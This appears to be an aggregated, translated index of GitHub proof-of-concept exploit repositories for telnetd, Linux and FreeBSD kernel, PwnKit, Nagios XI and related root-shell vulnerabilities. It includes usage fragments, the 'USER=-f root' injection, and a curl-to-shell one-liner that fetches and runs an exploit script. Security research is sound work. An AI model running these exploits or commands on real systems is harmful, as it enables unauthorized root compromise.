scan-cve-2026-24061

CVE-2026-24061 스캐너 – GNU inetutils telnetd 인증 우회 ⚠️ 매우 중요한 법적 고지 ⚠️ 이 도구는 교육 목적, 보안 연구, 취약점 분석 및 승인된 테스트 전용 입니다. 귀하가 소유하지 않았거나 서면으로 명시적 허가를 받지 않은 시스템에 대한 비승인 사용은 범죄 입니다 브라질: 형법 제154-A조 + Lei 14.155/2021, 그 외 국제 법률 포함. 반드시 본인 소유 환경, 통제된 실험실, 또는 서명된 RoERules of Engagement 가 있는 펜테스트/레드팀 환경에서만 사용하십시오...

CVE-2026-4747

/ /\ \ / / | | \ / \ \ \ \ | || | || || \ | | \ \ / /| | | | | | | \ \ | | / /| || | | | | \ V / | ||| / /| || / / \ \ | || | / / | |/ / | / | ||/| \ / // |||| CVE-2026-4747 — FreeBSD 원격 커널 RCE kgssapi.ko의 스택 버퍼 오버플로 → 약 4시간 만에 루트 셸 "AI가 발견하고 악용한 최초의 원격 커널 RCE 익스플로잇. 총 소요 시간: 실제 작업 약 4시간." —...

CVE-2026-24061---telnetd

CVE-2026-24061 – telnetd 🔥 설명 CVE-2026-24061 은 일부 telnetd 구현에 영향을 미치는 치명적인 취약점으로, 인증 우회 및 유효한 자격 증명 없이 원격으로 root 셸 을 획득할 수 있게 합니다. 이 저장소는 취약한 시스템을 탐지할 수 있는 PoCProof of Concept 를 제공합니다. ⚠️ 영향 인증 우회 권한 없는 root 접근 원격 악용 시스템 전체 손상 🎯 잠재적 영향 대상 시스템 라우터 / 모뎀 IoT 장비 임베디드 펌웨어 telnetd를 노출하는 시스템 구식이거나 잘못 구성된...

tscan

Telnetd 인증 우회 스캐너 CVE-2026-24061 GNU Inetutils telnetd 서비스의 CVE-2026-24061 취약점을 탐지하고 악용하기 위한 Python 기반 스캐너입니다. 이 도구는 IP 주소 또는 네트워크를 스캔하여 인증 우회로 루트 셸 접근을 허용하는 취약한 telnetd 서비스를 탐지합니다. ⚠️ 중요 법적 고지 및 면책 조항 본 소프트웨어는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 1. 교육 목적 이 애플리케이션은 보안 취약점을 시연하고 승인된 보안 테스트 및 연구를 지원하기 위해...

CVE-2026-24061

CVE-2026-24061 — inetutils-telnetd 인증 우회 GNU inetutils-telnetd의 인증 우회 취약점에 대한 개념 증명 익스플로잇입니다. 개요 CVE-2026-24061 은 inetutils-telnetd 버전 1.9.3부터 2.7 에 영향을 미치는 치명적인 인증 우회 취약점입니다. 원격 공격자가 자격 증명 없이 취약한 시스템에서 루트 셸을 획득할 수 있게 합니다. 취약점 세부 정보 필드| 값 ---|--- CVE ID| CVE-2026-24061 영향을 받는 소프트웨어| GNU...

CVE-2026-31431-rs

CVE-2026-31431 PoC copyfail 구조 src/ ├── main.rs 익스플로잇: AFALG + splice로 /bin/su 덮어쓰기 └── bin/ └── payload.rs 페이로드 런타임 의존성이 전혀 없는 자체 포함 nostd 바이너리: poc-rs: 4.1 KB includebytes!로 페이로드 내장 payload: 1.7 KB 빌드 Rust 1.85+ 필요: cargo build --release --bin payload cargo build --release 사용법 x8664:...

berdav-CVE-2021-4034

CVE-2021-4034 polkit 권한 상승 익스플로잇을 위한 하루 make, ./cve-2021-4034를 실행하기만 하면 루트 셸을 얻을 수 있습니다. 실제 작성자들의 원본 권고는 여기에서 확인할 수 있습니다. PoC 익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo...

CVE-2021-4034-new

CVE-2021-4034 polkit 권한 상승 익스플로잇을 위한 원데이 make, ./cve-2021-4034를 실행하고 루트 셸을 즐기세요. 실제 작성자들의 원본 권고는 여기에 있습니다...

modrosnlr5

🧬 modrosnlr5 – Linux 커널 LPE PoC CVE-2026-31431 Linux 시스템에서 CVE-2026-31431 취약점의 악용을 검증하기 위해 설계된 개념 증명 도구입니다. 이 익스플로잇은 커널의 AFALG 소켓 인터페이스를 활용하여 페이로드를 주입하고, 권한이 없는 사용자 세션에서 root 권한을 가진 셸을 획득합니다. ⚖️ 윤리적이고 통제된 사용: 이 코드는 연구, 교육 및 승인된 감사 목적으로만 배포됩니다. 명시적 허가를 받은 환경에서만 실행해야 합니다. ✳️ 주요 기능 권한 사전 점검: UID, GID...

CVE-2026-24061

CVE-2026-24061: telnetd 인증 우회 취약점 CVE-2026-24061은 telnetd의 인증 우회 취약점으로, 공격자가 특정 환경 변수 조합을 통해 신원 검증을 우회하고 직접 루트 권한 셸을 획득할 수 있게 합니다. telnetd의 인증 로직에 결함이 있습니다. -a 옵션자동 로그인과 특정 USER 환경 변수예: -f root를 함께 사용하면 정상적인 인증 과정을 우회하고 root 사용자로 직접 로그인할 수 있습니다. 소개 GNU InetUtils는 GNU 프로젝트 산하의 기본 네트워크 도구 모음입니다. ft...

ez-pwnkit

ez-pwnkit CVE-2021-4034 PwnKit 익스플로잇의 순수 Go 구현입니다. 이 익스플로잇은 syscall.ForkExec를 사용하여 메인 프로그램 종료 후에도 프로세스가 유지되도록 합니다. 설치 git clone https://github.com/OXDBXKXO/ez-pwnkit.git cd ez-pwnkit make 익스플로잇은 악성 공유 라이브러리에 의존하므로, payload.go 에서 PWN.so 파일이 생성되어 결과물인 exploit 실행 파일에 포함됩니다. Makefile 은 sed를 사용하여...

CVE-2021-4034

CVE-2021-4034 polkit 권한 상승 익스플로잇을 위한 하루 간단히 실행하고 즐기세요 ./blasty 루트 셸에서. 실제 작성자들의 원본 공지는 - 여기 설치 익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다: user@tecnokarita-/Descargas $ git clone https://github.com/T3cnokarita/CVE-2021-4034.git user@tecnokarita-/Descargas/CVE-2021-4034 $ gcc -o blasty blasty-vs-pkexec.c...

CVE-2026-24061

CVE-2026-24061 - Telnet 인자 주입 GNU inetutils telnetd의 CVE-2026-24061 취약점을 탐지하기 위한 Nuclei 템플릿으로, 인증 없이 root 접근을 허용합니다. 📋 취약점 설명 CVE-2026-24061은 GNU inetutils telnetd의 치명적인 argument injection 취약점으로, 공격자가 비밀번호 없이 root shell을 획득할 수 있게 합니다. 어떻게 동작하나요? 1. 문제의 근본 : 2015년에 telnetd에 동적 매개변수 %U를 사용하는 새로운 로그...

CVE-2021-4034

CVE-2021-4034 エクスプロイト 使用方法 $ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git $ cd CVE-2021-4034 $ make ! CVE-2021-4034 Exploit By whokilleddb ! Initializing Setup + Setup Done :D ! Setting Root Privileges ! Launching Root Shell /bin/whoami root 暫定パッチ chmod 0755 which pkexec...

CVE-2026-31431

작성자: 0xShe 언어 / 语言 English: https://github.com/0xShe/CVE-2026-31431/blob/main/README.md 中文: https://github.com/0xShe/CVE-2026-31431/blob/main/README-CN.md CVE-2026-31431 커널 권한 상승 도구 가이드 0x01 빠른 시작 일부 대상 환경에는 Python이 설치되어 있지 않으므로 이 권한 상승 로직을 C로 다시 작성했습니다. 1. 컴파일 Linux 머신 또는 WSL에서 다음 명령을 실행합니다-stat...

nagiosxi-root-rce-exploit

nagiosxi-root-exploit 개요 Nagios XI = 5.6.5에는 공격자가 RCE를 활용하여 root로 권한을 상승시킬 수 있는 취약점이 존재합니다. 이 익스플로잇은 'nagios' 사용자로 서버에 접근할 수 있는 권한, 또는 웹 인터페이스를 통해 플러그인을 관리할 수 있는 CCM 접근 권한이 필요합니다. 세부 정보 getprofile.sh 스크립트는 시스템 프로필 다운로드profile.php?cmd=download 시 호출되며, passwordless sudo 항목을 통해 root 권한으로 실행됩니다. 이...

poc-cve-2021-4034

poc-cve-2021-4034 pwnkit と呼ばれる CVE-2021-4034 の PoC 使い方 make を実行して release フォルダを確認するだけです。あるいは、次のワンライナーがお好みなら: sh -c "$curl -sSL https://github.com/dzonerzy/poc-cve-2021-4034/releases/download/v0.2/run-exploit.sh" 実行例 dzonerzy@DESKTOP-5JHC90H:/mnt/c/Users/DZONERZY/GolangProjects/pkpwn$ ./exploit...

CVE-2026-24061

CVE-2026-24061 GNU Inetutils telnetd リモート認証バイパス 2026年にまだtelnet？マジで？そろそろ次に移ろうよ。SSHは1995年からあるんだぞ。 🤦 説明 GNU Inetutils telnetd のバージョン 1.9.3 から 2.7 に影響を与える深刻な認証バイパス脆弱性です。 この脆弱性は、NEW-ENVIRON telnet オプションを悪用して、login1 に悪意のある引数を注入します。telnet プロトコル経由で USER=-f root を設定することで、攻撃者は認証をバイパスし、認証情報なしで root...

CVE-2021-4034

CVE-2021-4034 Polkit 권한 상승 익스플로잇 One day 그냥 make, ./cve-2021-4034를 실행하면 루트 셸을 얻을 수 있습니다. 실제 저자들의 원본 권고는 여기에서 확인할 수 있습니다. PoC 익스플로잇이 작동하면 즉시 루트 셸을 얻을 수 있습니다: vagrant@ubuntu-impish:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo...

CVE-2024-22274-RCE

CVE-2024-22274 익스플로잇 이 저장소는 CVE-2024-22274에 대한 익스플로잇을 포함하고 있습니다. 이 익스플로잇은 SSH를 통해 원격 시스템에 새 사용자를 생성한 후 루트 셸을 제공합니다. 요구 사항 Go Golang가 시스템에 설치되어 있어야 합니다. 여기에서 다운로드할 수 있습니다. SSH 접근이 가능한 원격 시스템. 컴파일 1. 저장소를 클론합니다: git clone https://github.com/Mustafa1986/CVE-2024-22274-RCE.git cd CVE-2024-22274-RCE 2...